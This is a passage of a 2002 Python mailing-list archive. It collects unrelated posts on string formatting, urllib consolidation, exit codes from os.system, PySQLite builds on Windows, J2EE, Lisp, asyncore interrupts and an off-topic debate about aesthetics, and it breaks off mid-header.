wrote: > >... > > In any case, I am reluctant to drag everyone through my imperfect > programming practices as useful as I find them....my main point was that > if context sensitivity is considered to be a difficulty in understandability > in programming languages (of which Perl has some) then (in the spirit > of being able to argue both sides of the question as a way of proving > that one has thought through the issues), it seems that Python has a > context sensitivity difficulty in the area of the treatment of tabs > as identifying blocks of code. I find it a stretch to treat these situations as analogous. In the one case we are talking about a difficulty in understanding and reading code caused by the same syntax meaning different things in different contexts. That's context sensitivity. In another case we're talking about difficulty cutting and pasting in some text editors. Of course the code you paste will be "sensitive to its context" but that's the whole point of cutting and pasting. You want it to pick up a new context and be sensitive to it. Paul Prescod From ante_nospam at rest-art.hr Tue May 14 05:11:53 2002 From: ante_nospam at rest-art.hr (Ante Bagaric) Date: Tue, 14 May 2002 11:11:53 +0200 Subject: Tkinter Message-ID: <abqkhc$6jja$1@as201.hinet.hr> Is there an easy way of creating scrollable view of a large image in Tkinter / PIL? From dkt at registriesltd.com.au Sun May 19 19:34:37 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Mon, 20 May 2002 09:34:37 +1000 Subject: OT: Dian Ying In-Reply-To: <slrnaebfcd.g8l.huaiyu@gauss.almadan.ibm.com>; from huaiyu@gauss.almadan.ibm.com on Sat, May 18, 2002 at 02:33:49AM +0000 References: <mailman.1021646908.24294.python-list@python.org> <slrnaebfcd.g8l.huaiyu@gauss.almadan.ibm.com> Message-ID: <20020520093437.A4474@regdp-02.intint.registriesltd.com.au> On Saturday 2002-05-18 at 02:33:49 +0000, Huaiyu Zhu wrote: > [1] Incidentally, the Chinese word for movie consists of two characters > "electric showdow". Since Zhu Huaiyu didn't let us know, in Chinese Hanyu Pinyin, it is written "dian ying" (pronounced: dyen ing), or "electric shadow" in English. BTW, there were some interesting points in that post! Couldn't spot the relevance to Python, though! ;-) Zai jian! David Trudgett From BPettersen at NAREX.com Wed May 8 23:38:39 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Wed, 8 May 2002 21:38:39 -0600 Subject: Still on py2exe (is it free?) Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192B98761@admin56.narex.com> > From: synthespian [mailto:synthespian at uol.com.br] > > I want to write a small application for enteral > nutrition for a hospital. I want to do it in Python, but I > don't want to keep explaining to every one of the Windoze > people there that they'll allways need to have Python installed. > So I figured that py2exe seem ideal for a stand-alone > app. It makes things easier on the Windrones. > * But * I'll only go ahead and do it if py2exe is free > software. Is it? With that attitude I sincerely hope that you don't get to write any software for end users. Oh, and let's see, go to google, check the first link that comes up for py2exe, and see if there is a licence link there... not-only-arrogant-but-lazy-too'ly y'rs -- bjorn From kevin at no.mail.com Sun May 12 09:52:16 2002 From: kevin at no.mail.com (Kevin Kohiruimaki) Date: Sun, 12 May 2002 22:52:16 +0900 Subject: print string+ in for loop Message-ID: <20020512225216.32620d8f.kevin@no.mail.com> Hi, I can do: word = "horse" for c in word: print c, But I can not do: for c in word: print c+ What is the reason for not implementing it in the language? Thanks for answering. --KK From tim.one at comcast.net Fri May 10 11:56:46 2002 From: tim.one at comcast.net (Tim Peters) Date: Fri, 10 May 2002 11:56:46 -0400 Subject: Simple question about how the optimizer works In-Reply-To: <lkn0v8757f.fsf@pc150.maths.bris.ac.uk> Message-ID: <LNBBLJKPBEHFEDALKOLCMEJLPEAA.tim.one@comcast.net> [Terry Reedy] > Left to right is guaranteed somewhere in ref manual, last I looked. [Michael Hudson] > I thought that, went looking for it and couldn't find it. Pointers? In this case, the docs are on SourceForge <wink>: http://www.python.org/sf/448679 From sheershion at mailexpire.com Thu May 2 21:05:37 2002 From: sheershion at mailexpire.com (Robert Amesz) Date: Fri, 03 May 2002 01:05:37 -0000 Subject: HTML filtering References: <01Xz8.21629$YQ1.8012127@typhoon.southeast.rr.com> <VSXz8.24042$qV.7833251@typhoon.southeast.rr.com> Message-ID: <Xns92031C15586DBrcamesz@amesz.demon.nl> Stuart D. Gathman wrote: > Here is a attempt at making a "pass through" HTML filter. It > changes the case of end tags (e.g. "</A>" -> "</a>"). Is there a > way to fix that? Actually, I've found that using the SGML parser directly usually is a lot easier. Robert Amesz From brueckd at tbye.com Tue May 7 11:26:54 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Tue, 7 May 2002 08:26:54 -0700 (PDT) Subject: urllib, urllib2, httplib -- Begging for consolidation? In-Reply-To: <CEEPIKGCPKMFIKBEHCNFAEPBCNAA.lists@weissinger.org> Message-ID: <Pine.LNX.4.44.0205070758120.3987-100000@ns0.tbye.com> On Tue, 7 May 2002, A. Keyton Weissinger wrote: > Am I the only one that thinks these need to be pulled together some? I saw a > PEP (268?) where there are some rumblings about adding some things to it as > well. Maybe a combo project? Yes, part of the problem is that it's not obvious when you should use which (e.g. urllib vs. urllib2). BUT, if there were to occur some sort of consolidation (meaning, introducing incompatibilities or a whole new module), then we should use that as an opportunity to restructure/redesign that whole set of modules because, IMO, they've evolved past their original design. If we can come up with a good organization, the actual implementation could be handled by various members of the community. The original premise of urllib, that it helps your app open any type of URL in roughly the same way, is pretty neat but now both urllib and urllib2 have lots of stuff tacked on that is pretty HTTP-specific. Also, I usually need to support only one protocol and I know in advance which that is (usually HTTP, sometimes FTP), but the httplib docs imply that httplib is more of an internal module. So... if we were to change something, I'd like us to build a rich HTTP library that supports the super easy use case (gimme the data at this URL, optionally posting this data right here first) as well as more complicated cases (add in these request headers before sending the request to the origin). It would be in this module (or one closely tied to it) that we'd capture knowledge about the HTTP protocol, such as parsing and building HTTP 1.0 and 1.1 compliant request and response headers, handling cookies, basic and digest authentication, '\n' vs. '\r\n' line endings, easy-to-use HTTPS, etc. Supporting routines (like quote, urlencode, urlparse) can either be imported and exposed through the HTTP module, or kept in a module with better definied boundaries. We could take the same approach with other protocols, and include modules for FTP, plain files, etc. With all those in place we could still have the "open any type of URL" routine built on top, but it should work only for the simplest of use cases; if you need something more complex then you'd go use the corresponding protocol library yourself. I'm not suggesting that we scrap the current protocol modules (they've be very, very useful); it's just that over time they've grown up and are due for some redesign/refactoring (the kind that will not be backwards compatible). -Dave From jepler at unpythonic.net Wed May 1 09:31:05 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 1 May 2002 08:31:05 -0500 Subject: Any CD-ROM writer support in python? In-Reply-To: <3CCF59F7.D5AA5EE4@attglobal.net> References: <3CCF59F7.D5AA5EE4@attglobal.net> Message-ID: <20020501083104.B22158@unpythonic.net> On Tue, Apr 30, 2002 at 10:59:03PM -0400, Pierre Rouleau wrote: > I am looking for python based CD-ROM writer support. > Does anyone know where I could find some python code or libraries to do > that? "cdrdao" is an open-source program with a commandline interface that runs under unix and windows. http://cdrdao.sourceforge.net/ Under unix, "cdrecord" is open-source and commandline-driven. It's also been used by many "front-end" programs through its commandline interface. Jeff From bokr at oz.net Thu May 16 06:17:39 2002 From: bokr at oz.net (Bengt Richter) Date: 16 May 2002 10:17:39 GMT Subject: embed data inside string References: <3CE3337F.7CA0D11B@sbcglobal.net> Message-ID: <ac0103$feu$0@216.39.172.122> On Thu, 16 May 2002 04:19:43 GMT, Julia Bell <juliabell at sbcglobal.net> wrote: >I can create a string from a mixture of quoted strings and data with >something like: >mystring = "Value of parameter = " + parameter + " is unexpected" >(where parameter is a variable holding a string value) >Is there a way to embed the VALUE of the parameter in the string from >within the quotes (essentially avoiding concatenating strings)? >(I don't want to use formatted strings - I'm looking for something to >simplify the line.) > >In perl I would have used: >$mystring = "Value of parameter = $parameter is unexpected" >(inside double quotes, the $parameter variable is evaluated, and it's >value is embedded in the string) I'm looking for something similar in >python where I can refer to the value of the parameter inside a string. > >Julia Bell > "%(someName)s" % vars() will get someName from local variables and format it into the string with %s format, e.g., >>> parameter = '<the parameter string value>' >>> mystring = 'value of parameter = %(parameter)s is unexpected' % vars() >>> mystring 'value of parameter = <the parameter string value> is unexpected' you could also use other format specs for variables, and get them from an object, e.g. %6.4f, and math respectively: >>> import math >>> math.pi 3.1415926535897931 >>> "pi is approximately %(pi)6.4f" % vars(math) 'pi is approximately 3.1416' See http://www.python.org/doc/current/lib/typesseq-strings.html for more (which could be made easier to find IMO ;-) Regards, Bengt Richter From andrewm at object-craft.com.au Fri May 31 09:11:38 2002 From: andrewm at object-craft.com.au (Andrew McNamara) Date: Fri, 31 May 2002 23:11:38 +1000 Subject: Python equivalent of shell's '$?' In-Reply-To: Your message of "Fri, 31 May 2002 13:23:24 +0100." <20020531122324.GP14959@software.plasmon> Message-ID: <20020531131138.9D62638F50@coffee.object-craft.com.au> >I can't quite remember exactly what the problem was (I seem to recall >that the errno returned was not what the called program returned). This >was using both open and backticks. It was yet another nail in the coffin >that is my opinion of perl ;) You should read the manual page for the wait() system call, because this is what os.system() is returning. In particular, the returned value is the exit status of the sub-process shifted left 8 times (or multiplied by 256) - at least when the process exits of it's own volition - otherwise the cause of death is encoded. The manual page should explain all. -- Andrew McNamara, Senior Developer, Object Craft http://www.object-craft.com.au/ From op73418 at mail.telepac.pt Sat May 18 09:59:57 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Sat, 18 May 2002 14:59:57 +0100 Subject: OT: Crazy Programming References: <mailman.1021483146.13317.python-list@python.org> <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <mailman.1021510410.32402.python-list@python.org> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> <mailman.1021636709.31088.python-list@python.org> <nr8F8.1714$C4.104431@ozemail.com.au> <fufaeu882e9qv3eh7h2m2obhqk3s33n64d@4ax.com> <uFjF8.1818$C4.112463@ozemail.com.au> Message-ID: <b8lceuseqr3r5mlnhml81ggo86kr3gdi60@4ax.com> On Sat, 18 May 2002 13:13:30 +1000, "Patrick" <postmisc at yahoo.com.au> wrote: > >"Gon?alo Rodrigues" <op73418 at mail.telepac.pt> wrote in message >news:fufaeu882e9qv3eh7h2m2obhqk3s33n64d at 4ax.com... > >> This type of reasoning is common in many schools of literary criticism. >> e.g. The supposed aesthetic supremacy of a given author, say >> Shakespeare, is more a product of historical conditions than anything >> else. > >Please listen. You have not understood me. You have chosen to set me up as a >platform on which to defend Shakespeare against some imagined evangelist of >popular culture who believes that Kylie Minogue is in every way the artistic >equal of Shakespeare, but is only consigned to the lowly status of "pop >artist" by an "aristocratic", "elitist" intellectual establishment. But, get >off the high horse for a minute Goncalo. Whoever you're talking to, it is >not me. I did understood you, I just may have not expressed myself correctly. My protest was against an unguarded use of arguments like, and I quote from you again: >It's possible that this consensus emerges as a result of training, >rather than as a result of any quality inherent in the wine. And then I raised an example of the very bad effects that this leads to, e.g. in literary criticism, where aesthetics is replaced by ideology. In particular I did not chose you as a rampart for any supposed crusade to defend Shakespeare. He was just an example and, anyway, he hardly needs my defense. > >Historical conditions *do* contribute to the perceived aesthetic value of >works of art. Van Gogh died a pauper, his works appreciated by virtually >nobody. The impressionists banded together as a "movement" only because >their works were scorned by the establishment. And (some of) their works >were, and remain, *beautiful*. I use the term "Historical conditions" in a slightly different sense. > >Historical conditions, particularly the tastes of the "elite", play an >enormous role in the popular appreciation of "quality". Before you shoot me >down as another crass socialist revolutionary (again!), please consider that >I'm using the word "elite" in a positive sense. Because anything that is of >exceptional merit is itself "elite" (is rare, rarefied, and usually somewhat >strange), and relies on an "elite" to pass it down to future generations, >and to teach future generations _how_ to appreciate it. First, I will not shoot you down. Only revolutionaries shoot each other down <wink>. Second, the difference between "perceived aestethic value" and "aesthetic value" de facto. My experience in literature as well as in life tells me that "aesthetic value" is an effective reality and not just a diktat (I confess I love this word) from a self-appointed enlightened elite. Where historical conditions enter in the "perceived aesthetic value" is what I would simply call "fashion". Third, to repeat myself and to keep the record straight, I also contended that there is no objective proof of this "aesthetic reality", If by objective proof we mean, as I do, proofs as in Physics. > >I suspect there is a philosophical issue that will prevent us from >understanding each other. I'll try to clear it up from my perspective. > >If historical conditions (and not just historical conditions but social >conditions, demographics, geography, etc) have _any_ effect on the perceived >aesthetic value of a work of art, it implies that the "quality" of this work >of art is not entirely intrinsic. But now I'm gonna shout this because you >don't seem to want to grant me the subtlely of mind to understand this: THIS >DOES NOT IMPLY THAT THERE IS NO *INTRINSIC* VALUE IN IT! The intrinsic >quality, whatever it is, is what makes it more likely to be universally >appreciated (like Shakespeare) by those who have not necessarily been raised >in the culture / fashion / political social climate from which it emerged. >Or perhaps there really *is* some kind of Platonic essence of "good". I >don't know. (The fact that people from all times and places have actively >ranked and valued various things - and not just for their trade value - does >tend to suggest this). > >> In other words, any supposed aesthetic supremacy is more of a >> diktat than anything else, and the literary critics that disagree have >> their visions distorted. > >Wasn't it enough to use the loaded "diktat"? Did you really have to assign >it "more" value than "anything else"? > >FWIW, I know that this is a common view. But again, it is not mine. Glad do hear <wink> > >> I disagree profoundly with this. But, and even >> more importantly, and looking at the Shakespeare case, the fact that he >> is read, studied and represented everywhere, that sucessive generations >> have hailed him as a genius, that the best authors since Shakespeare >> inspire themselves, directly or indirectly, in him, is for me proof >> enough of Shakespeare's supremacy. >> >> Of course if you tell me that this is all complete bull, and that the >> real story lies in some of elitistic/aristocratic conspiracy, then I >> will not even bother to refute you. > >By all means "refute" me if you feel it necessary. But please make sure >you're refuting *me*, not an imaginary opponent whose views are not mine. I >don't have the time or inclination to disavow that imaginary person's views >a second time. > Best regards, Gon?alo Rodrigues From paul at boddie.net Thu May 9 11:51:26 2002 From: paul at boddie.net (Paul Boddie) Date: 9 May 2002 08:51:26 -0700 Subject: Python Enterprise Objects References: <e786d63d.0205081747.ba28f3c@posting.google.com> <mailman.1020911354.9766.python-list@python.org> <m3661xopeq.fsf@chvatal.cbbrowne.com> <mailman.1020924858.18267.python-list@python.org> Message-ID: <23891c90.0205090751.5f4f40a9@posting.google.com> Ian Bicking <ianb at colorstudy.com> wrote in message news:<mailman.1020924858.18267.python-list at python.org>... > On Thu, 2002-05-09 at 00:34, Christopher Browne wrote: > > More seriously, it tends to involve tighter integration between the > > language environment and "database stuff" so that when you invoke > > methods, they are rather more likely to be tied to objects that are > > persistent even against fairly severe failure. > > So, J2EE is sort of an object-relational mapper? Or a framework for > creating such a mapper? I.e., a middleware-creation-toolkit? J2EE is so many things, but I'll try and summarise them instead of pointing you back to the Sun J2EE site, which is almost as badly-designed as Sun's other sites. In many respects, J2EE attempts to address the same kinds of areas that various Python Web frameworks (blatant promotion of Web page - see below) cover: Servlets - server-side programs which respond to requests, typically over HTTP, although other protocols aren't exactly ruled out. JSP (JavaServer Pages) - a presentation technology which is much like ASP and countless "Python Server Pages" technologies. EJB (Enterprise JavaBeans) - unlike the much-hyped, but easy-to-grasp JavaBeans concept, components written to the EJB specifications specifically attempt to cover the area of "business logic", and provide support for things like transactions involving many different objects and databases. Object-relational support is only really addressed in "container managed entity beans" which form a small part of the whole EJB thing. Prior to version 2.0 of the EJB specification, the "container managed" part - meaning that the mapping to relational database tables was done on your behalf - was more or less a toy, in my opinion, because there apparently wasn't a standard way of describing relations between objects. Really, the benefit of J2EE is the standardisation of the way people write their server-side applications; that's something which we haven't yet seen in the Python community, but then there's still a lot of diversity on top of J2EE in terms of frameworks which actually provide application-specific solutions to real-world problems. Blatant Web site promotion: http://www.boddie.org.uk/python/web_frameworks.html At some point, I'll work on and upload the Python vs. J2EE comparison document I was writing. Paul From gerhard at bigfoot.de Mon May 27 20:24:04 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 28 May 2002 00:24:04 GMT Subject: Problem building PySQLite under Windows References: <mailman.1022526824.4035.python-list@python.org> <49xI8.185692$o66.555657@news-server.bigpond.net.au> Message-ID: <slrnaf5jh4.21d.gerhard@lilith.my-fqdn.de> Neil Hodgson wrote in comp.lang.python: > Andrew MacIntyre: >> On Sun, 26 May 2002, Max wrote: >> {...} >> >> > cl.exe /c /nologo /Ox /MD /W3 > /GX -Ic:\sqlite\include -Ic:\python22\include >> >> Yes, this is a C compiler - I believe that this is the command line >> Microsoft compiler which is effectively a free download (in the >> absence of SKS providing the info, you'll need to google for more info >> because I can't give you any details). > > The non-optimizing current version of the Microsoft C/C++ compiler is > available for free by downloading the .NET SDK (130 Megabytes) from > http://download.microsoft.com/download/.netframesdk/SDK/1.0/W98NT42KMeXP/EN- > US/setup.exe I'd recommend to either use mingw32, which will work with the CVS version of PySQLite, or the commandline Borland C++ compiler, which is untested with PySQLite, but probably works, too. Both are free and work with Python's distutils, provided that you read the distutils docs. In the next PySQLite release, we'll offer Windows installers, too. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From quitelikely at yahoo.com.au Sat May 18 01:24:03 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 18 May 2002 15:24:03 +1000 Subject: Python w/Forth Runtime???? References: <3CE5AFD3.32D59F@tundraware.com> <slrnaebdtp.oor.gerhard@lilith.my-fqdn.de> <3CE5C208.5F41AD8A@tundraware.com> <m3elgauogv.fsf@chvatal.cbbrowne.com> <3CE5CD61.AAA28676@tundraware.com> Message-ID: <877km2uiz0.fsf@tower.localdomain> Tim Daneliuk <tundra at tundraware.com> writes: > Christopher Browne wrote: > > > > Common Lisp conspicuously supports multiple simultaneous paradigms. > > Could you expand on this a bit? It has been a *very* long time since I > even looked at Lisp, let along programmed it... In Common Lisp you often use a mixture of procedural, functional and object oriented styles. It's a perfectly natural way to use the language, just as it is in Python. (But the functional support in Lisp is obviously much more pervasive). If you want to decompose a problem in terms of functions, and avoid side-effects, that's fine. Everything returns a value (unless you ask it not to), and you can treat every data structure as immutable if you wish, but there is nothing forcing you to do this. If you want to use a combination of functions and procedures that operate with our without side effects, and with or without special (eg. global) variables, again no problem. As for object oriented programming, it's a somewhat overloaded term that means different things to different people. In Lisp you have a lot of choices. You can either implement objects as closures, or you can use a complete fully-fledged object system that supports multiple inheritance and is polymorphic on more than one of its arguments. That's all part of CLOS (Common Lisp Object System) which is part of the Common Lisp standard. (Incidentally CLOS was the first ANSI standardised object oriented language, and is still arguably streets ahead of the competition in terms of power and flexibility). Beyond that, Common Lisp offers another form of abstraction that other languages can only offer very awkwardly, if at all: ie. macros. You can manipulate the language in its own language, which probably makes Lisp better equipped to seamlessly incorporate future paradigms than any other language. If you haven't looked at Lisp since say, 1994, it's a very different language from the one you remember. It's a pity more people don't seem to know what's available in Lisp. It's an amazing language. From dalke at dalkescientific.com Mon May 13 03:33:54 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Mon, 13 May 2002 01:33:54 -0600 Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <87offlnq3k.fsf@mathdogs.com> <chris-55B5FD.02324413052002@corp.supernews.com> Message-ID: <abnqdd$8bf$1@slb0.atl.mindspring.net> Chris: > In the end, the best idioms become commonplace, but they become > commonplace not just because they're obvious, though that might be > the case, but because the alternatives have been explored and the > accepted approach has genuine benefits. This requires everyone who codes in Perl to learn these idioms, and in practice this doesn't happen. My Perl for the most part felt like C because I expected the people who maintained my code to be primarily C developers, so I deliberately excluded more Perlish idioms. Since Perl people like the analogy to human languages, it's like me saying I drink 'soda's while people in the Midwest drink 'pop'. (These are regional dialects in the US. Elsewhere uses other terms, like 'cooldrink') There isn't a genuine benefit of one over the other, so other effects dominate, and leaves me confused when I don't know the local dialect. >While I enjoy Python - and I do... it opned up the world of OO >programming for me - I think there's almost a danger in things being too >obvious. Creativity can be a messy business, but ultimately it leads to >better places. You argue, or at least imply Perl allows many alternatives creativity is good creativity can be messy Python almost makes things 'too obvious' (suggesting perhaps adding more alternatives) I used to know a lot about the different ways to do things in Perl. As far as I can tell, the creativity in its alternatives is the creativity to choose different ways to implement a solution, but the style of the solution doesn't change from what's possible in Python, besides some minor differences in small problems where one language has a built-in language feature which gives it an advantage over the other. By way of comparison, in elementary school I had a four-color pen. I recall coming up with a scheme of which color should be used for which topic. I don't recall any details so I'll make something up. For example, in a vocabulary assignment I might use black for the word and blue for the definition. I spent time to decide how to express that creativity, but in the end it didn't make any difference, since that wasn't part of the assignment. In other words, having a lot of alternatives doesn't have to make things better and can make things worse because of the extra thought needed to figure out which is proper. That's not to say that Python isn't colorful or has its own set of alternatives. But the Python way isn't "There's More Than One Way To Do It" nor the opposite of "There's one and only one way to do it" but instead is "There should be one -- and preferably only one -- obvious way to do it." Those "preferably" and "obvious" qualifiers are important. Andrew dalke at dalkescientific.com From ekelly at lucent.com Thu May 30 05:33:17 2002 From: ekelly at lucent.com (Eoin Kelly) Date: Thu, 30 May 2002 10:33:17 +0100 Subject: jython and getpass Message-ID: <3CF5F1DD.49876A38@lucent.com> Hello all, Could anyone tell how to turn off/simulate the turning off of standard console echo with Jython without using JNI. Something similar to getpass for python I guess. Thanks in advance, Eoin From michael.ingram at echostar.com Wed May 29 16:01:04 2002 From: michael.ingram at echostar.com (Michael Ingram) Date: 29 May 2002 13:01:04 -0700 Subject: windows-python-question References: <ad2oo9$d55fq$1@hades.rz.uni-sb.de> Message-ID: <ccb95f87.0205291201.1fd8d1ce@posting.google.com> Uwe Schmitt <uwe at rocksport.de> wrote in message news:<ad2oo9$d55fq$1 at hades.rz.uni-sb.de>... > Hi, > > I'd like to write a python-program which is startet under Win when > a file with an apropriate extension ('.rnt' for example) is > double-klicked. How does my python-program know which file was > clicked so that my program can load it ??? > > Greetings, Uwe. Try windows help -->assoc or windows help -->ftype. You can specify a file association for the .rnt extention with "assoc" and "ftype" commands. Altenatively Explore->View->Options->File Types->New Type (NT). Then specify your python program in the command string. The clicked .rnt file will be passed in the %1 parameter, which you can access with sys.argv[1]. Posting via Google Groups...so maybe tomorrow... HTH, Mike From st00535 at rasmus.uib.no Wed May 8 12:37:28 2002 From: st00535 at rasmus.uib.no (Ingar Smedstad) Date: Wed, 8 May 2002 18:37:28 +0200 Subject: Trying to use "Programming Python" (Lutz), getting module errors. References: <84773476.0205052134.8c1d533@posting.google.com> <6c92a8bc.0205060225.46b1c6c9@posting.google.com> <84773476.0205060722.6f377f52@posting.google.com> Message-ID: <abbk8g$14od$1@toralf.uib.no> "Rob Lineberger" <robline at purdue.edu> wrote in message news:84773476.0205060722.6f377f52 at posting.google.com... > > > > I would recommand you start learning Python by reading "Learning > > Python" (also by Mark Lutz & David Ascher), not "Programming Python" > > ... :) > > Sorry, it was late and I was befuddled. I am indeed using the book > "Learning Python". > > > However if you put your spam.py in C:\Python22\Lib then typing 'import > > spam' inside Pythonwin / IDLE should work ... > > Then I am stumped. This is what I did (From memory, so if my code is > wrong please refer to the book). Page 12 says something like: > > >>>> print "Hello World!" > > Did so and it printed Hello World!. > > Then the book says to open a text editor and create a module, for > example myfile.py looks like this: > > title="A Fish Called Wanda" > > I created the above file and saved it as myfile.py into the > C:\Python22\Lib directory. I went to said directory and confirmed it > was there. double clicked it and a black DOS window flashed briefly > on the screen. Doubleclicking on .py files in windows usually gives that response unless the code halts somewhere (ie. waiting for input.) The simple learning files just prints some output if I remember correctly. To run any python file in windows you can do it the command line way. It works very much like on a *nix platform. Open a command prompt and cd to the directory of the *.py file you want to run. Then you just type 'python <filename>.py'. As long as the python executable is in your %PATH% of course. Oh, and I have also found that doskey is a very useful command. Gives you input history. > Then I opened pythonwin and typed: > > >>>> import myfile.py > > Got an error that read something like this: > > "No such module exists" > > Thanks again for any light you can shed. From quitelikely at yahoo.com.au Mon May 6 04:18:49 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 06 May 2002 18:18:49 +1000 Subject: Need help... References: <409a56e2.0205052334.77d409f2@posting.google.com> <82k7qhitxc.fsf@acropolis.localdomain> Message-ID: <82g015it92.fsf@acropolis.localdomain> Patrick W <quitelikely at yahoo.com.au> writes: > shagshag13 at yahoo.fr (Shagshag) writes: > > > Hello > > > > (sorry for my poor english) > > > > I need to build some kind of python object(s) which could handle these > > : > > > > having three keys a, b, c i have to define all possible "couples keys" > > > > (a, b) -> v1 -> v2 > > (a, c) -> v3 -> v5 -> v8 > > (b, c) -> v1 -> v4 > > (a, b, c) -> v2 -> v4 -> v7 > > > > where -> stand for something like a linked list. > > and i must be able to retrieve (a, b) with (b, a), (a, c) with (c, a) > > and (a, b, c) with (a, c, b), (c, a, b), (b, a, c) or any combination > > of the three... > > i can have couples of 2, 3, 4, or more keys... > > Hmmm. Not quite sure what you're looking for, but it seems that at > least *part* of the solution requires a 'permutations' function ... Oops. I think I misunderstood your intent. If these are lookup keys for items in a dictionary of some sort, you definitely *don't* want to enter all permutations. ;-) Sorry. From dalke at dalkescientific.com Sat May 11 05:16:47 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Sat, 11 May 2002 03:16:47 -0600 Subject: grokking generators and iterators References: <3CDCAEDC.2030103@horvath.com> <abidj2$l6b$1@slb6.atl.mindspring.net> Message-ID: <abingo$qbp$1@slb6.atl.mindspring.net> Andrew Dalke wrote: >As to the second, here's an (untested) example > >class FiveAtATime: ... >You can see, it's rather more complicated than using yield. In light of Alex's much more succinct version, let me add the only advantage to mine is that it works with 1.5 and even earlier while also supporting newer versions which have iter(). Or at least, that's my excuse. :) Andrew dalke at dalkescientific.com From quinn at bolivar.ugcs.caltech.edu Sun May 26 14:28:34 2002 From: quinn at bolivar.ugcs.caltech.edu (Quinn Dunkan) Date: 26 May 2002 18:28:34 GMT Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? References: <mailman.1022091281.4506.python-list@python.org> <slrnaenqq4.98v.jajvirta@sirppi.helsinki.fi> <u1yc3q4xe.fsf@online.no> <Xns92178D98117cliechtigmxnet@62.2.16.82> <ach7s6$c88$1@news.storm.ca> Message-ID: <slrnaf2aah.td5.quinn@bolivar.ugcs.caltech.edu> On 22 May 2002 22:59:18 GMT, Michael P. Soulier <msoulier at mcss.mcmaster.ca_.nospam> wrote: > Actually, one of the few things I like about Ruby is that all objects in >Ruby do have methods, and thus to add two numbers... > > 2 + 4 > 2.+(4) > > are equivalent. Not really: irb(main):001:0> 1 + 2 * 3 7 irb(main):002:0> (1).+(2).*(3) 9 irb(main):003:0> ... and everyone was annoyed with smalltalk for being consistent that way :) However, I don't think of 'obj.method' style notation as being the definition of 'OO'. It's just a style of syntax. len(o) is just as 'OO' as o.len(), and the real question is "why is the syntax different?". One reasonable answer to that (besides history) is that f(x) and x.f() both have different notational conveniences. It's nice to be able to type map(len, lists) rather than [ a.len() for a in lists ], but it's also nice to be able to type a.append(x) rather than list.append(a, x). x.f() tends to be notationally handy where a closure on the first argument is frequently useful (e.g. a.append). a.len is not so useful. From baas at ira.uka.de Thu May 16 03:33:59 2002 From: baas at ira.uka.de (Matthias Baas) Date: Thu, 16 May 2002 09:33:59 +0200 Subject: embed data inside string References: <3CE3337F.7CA0D11B@sbcglobal.net> Message-ID: <07o6euodv64ift86k4vbutdhdggiav86db@4ax.com> On Thu, 16 May 2002 04:19:43 GMT, Julia Bell <juliabell at sbcglobal.net> wrote: >I can create a string from a mixture of quoted strings and data with >something like: >mystring = "Value of parameter = " + parameter + " is unexpected" >(where parameter is a variable holding a string value) >Is there a way to embed the VALUE of the parameter in the string from >within the quotes (essentially avoiding concatenating strings)? >(I don't want to use formatted strings - I'm looking for something to >simplify the line.) In the other replies you've already seen how to use formatted strings which I would also consider to be the shortest way. However, if you really insist on not using formatted strings you can always use str() or repr(): mystring = "Value of parameter = " + str(parameter) + " is unexpected" The difference between str() and repr() is that str() is supposed to return a string that's easy to read for humans whereas repr() should include all information to re-create the value from the string. As a shorthand for repr() you can use the ` apostrophes: mystring = "Value of parameter = " + `parameter` + " is unexpected" This makes the line almost as short as your original line. - Matthias - From shredwheat at attbi.com Fri May 31 11:56:47 2002 From: shredwheat at attbi.com (Pete Shinners) Date: Fri, 31 May 2002 15:56:47 GMT Subject: Spiral References: <gXPDTYGWch98Ew1w@[127.0.0.1]> <Xns921E939913B0Bduncanrcpcouk@127.0.0.1> <oVFhzeC$Vy98Ewkp@[127.0.0.1]> Message-ID: <3CF79D1F.2090606@attbi.com> Chris wrote: > Thanks - and thanks to others who replied, too. > I'm totally new to Python and so I'll have to experiment a bit - > but does your program work with the standard Python package or do I have > to get some add-ons? (It's the "import" that made me wonder.) the pygame example will need to have the pygame package installed. this is easy to do as it comes in a windows installer. i'm afraid my pygame example will also have the "open spiral" effect. the degree to radian conversion should do the trick. http://pygame.org/ftp/pygame-1.5.win32-py2.2.exe From sholden at holdenweb.com Fri May 31 05:40:52 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 31 May 2002 05:40:52 -0400 Subject: Killing a socket server in DOS? References: <slrnafdhpa.qlf.mlh@vier.idi.ntnu.no> Message-ID: <MCHJ8.76519$%u2.4430@atlpnn01.usenetserver.com> "Magnus Lie Hetland" <mlh at vier.idi.ntnu.no> wrote ... > I've written a simple server using asyncore.dispatcher as a > superclass; in UNIX I don't ave any problems with it, but in DOS it > seems I can't kill the asyncore.loop() loop with Ctrl-Z or Ctrl-C or > Ctrl-D or anything... Is there a way? Should I implement it > differently? (I could always add functionality for killing it through > the protocol itself, but that seems a bit unnecessary...) > Here's a snippet using asyncore that seems to do what you want. Are you saying that you can't trap KeyboiardInterrupt? You'll have your own http_server() equivalent already, I'm guessing. def serve(): port = 8080 if len(sys.argv) >1: try: port = int(sys.argv[1]) except: sys.exit("Illegal port number") logfile = open(LOGFILE, "a") server = http_server('', port, logfile) try: asyncore.loop(1.0) # Frequent checks for interrupt except KeyboardInterrupt: print "Completed" # on console logfile.close() regards -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From gdemmy at 